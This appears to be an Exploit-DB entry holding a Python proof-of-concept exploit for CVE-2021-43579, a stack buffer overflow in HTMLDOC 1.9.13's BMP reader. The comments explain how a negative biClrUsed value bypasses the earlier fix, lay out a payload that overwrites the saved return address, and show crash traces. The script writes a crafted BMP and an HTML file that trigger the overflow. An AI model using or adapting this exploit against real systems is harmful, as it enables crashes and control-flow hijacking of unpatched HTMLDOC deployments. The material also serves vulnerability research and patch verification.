Exploit-DB #52425
Description: HTMLDOC 1.9.13 - Stack Buffer Overflow
Type: remote
Platform: multiple
Date: 2025-09-16
Author: wulfgarpro

Exploit:
#!/usr/bin/env python3
# Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
# Google Dork: N/A
# Date: 2025-08-26
# Exploit Author: wulfgarpro
# Vendor Homepage: https://github.com/michaelrsweet/htmldoc
# Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
# Version: <= 1.9.13
# Tested on: Linux x86_64
# CVE: CVE-2021-43579
# ==============================================================================
#
# ------------------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------------------
# HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for
# the colour palette: 256 * 4 = 1024 bytes.
#
# The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and
# parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read
# into an `int` and then directly drives the number of colour palette bytes
# copied into the 1024-byte stack buffer:
#
# ```c
# int colors_used;
# uchar colormap[256][4]; // 1024 bytes
# colors_used = (int)read_dword(fp); // biClrUsed
# fread(colormap, (size_t)colors_used, 4, fp);
# ```
#
# A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not
# rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is
# cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge
# amount into the 1024-byte buffer.
#
# `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call
# requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1),
# `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous
# read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes
# are available; with our 1088-byte payload it overflows the 1024-byte buffer by
# 64 bytes:
#
# Payload layout:
#
#   * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes.
#   *    8 'B' bytes: land on the saved return address on x86_64, producing
#                     `RIP = 0x[PII_REDACTED]424242`.
#
# Example crash without _FORTIFY_SOURCE / stack protector:
#
# ```sh
# ► 0   0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
#   1 0x[PII_REDACTED]424242 None
#   2              0x1 None
#   3       0x55a5d5e0 None
#   4   0x555555a9ffa0 None
#   5   0x[PII_REDACTED]00 None
#   6   0x5555555a989c None
#   7   0x555555a5d5e0 _htmlGlyphs
# ```
#
# With `_FORTIFY_SOURCE=2`, overflow is detected:
#
# ```sh
# *** buffer overflow detected ***: terminated
#
# Program received signal SIGABRT, Aborted.
#
# ► 0   0x7ffff749894c None
#   1   0x7ffff743e410 raise+32
#   2   0x7ffff742557a abort+38
#   3   0x7ffff7426613 None
#   4   0x7ffff7526319 None
#   5   0x7ffff7525c84 None
#   6   0x7ffff7526565 __fread_chk+389
#   7   0x[PII_REDACTED]d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346
# ```
#
# ------------------------------------------------------------------------------
# Usage
# ------------------------------------------------------------------------------
# 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`
# 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html`
# ------------------------------------------------------------------------------

# 14-byte BITMAPFILEHEADER
BITMAPFILEHEADER = (
    b"\x42\x4d"  # bfType
    b"\x00\x00\x00\x00"  # bfSize
    b"\x00\x00"  # bfReserved1
    b"\x00\x00"  # bfReserved2
    b"\x00\x00\x00\x00"  # bfOffBits
)

# 40-byte BITMAPINFOHEADER
BITMAPINFOHEADER = (
    b"\x00\x00\x00\x00"  # biSize
    b"\x01\x00\x00\x00"  # biWidth = 0x00000001 (1)
    b"\x01\x00\x00\x00"  # biHeight = 0x00000001 (1)
    b"\x00\x00"  # biPlanes
    b"\x00\x00"  # biBitCount
    b"\x00\x00\x00\x00"  # biCompression
    b"\x00\x00\x00\x00"  # biSizeImage
    b"\x00\x00\x00\x00"  # biXPelsPerMeter
    b"\x00\x00\x00\x00"  # biYPelsPerMeter
    b"\xff\xff\xff\xff"  # biClrUsed = 0xffffffff (-1)
    b"\x00\x00\x00\x00"  # biClrImportant
)

PAYLOAD = b"A" * 1080  # cyclic: uaakvaak
PAYLOAD += b"B" * 8  # RIP overwrite


def generate_poc_bmp():
    with open("poc.bmp", "+wb") as poc_bmp:
        poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)


def generate_poc_html():
    with open("poc.html", "+w") as poc_html:
        poc_html.write("<html><img src='./poc.bmp'/></html>")


if __name__ == "__main__":
    generate_poc_bmp()
    generate_poc_html()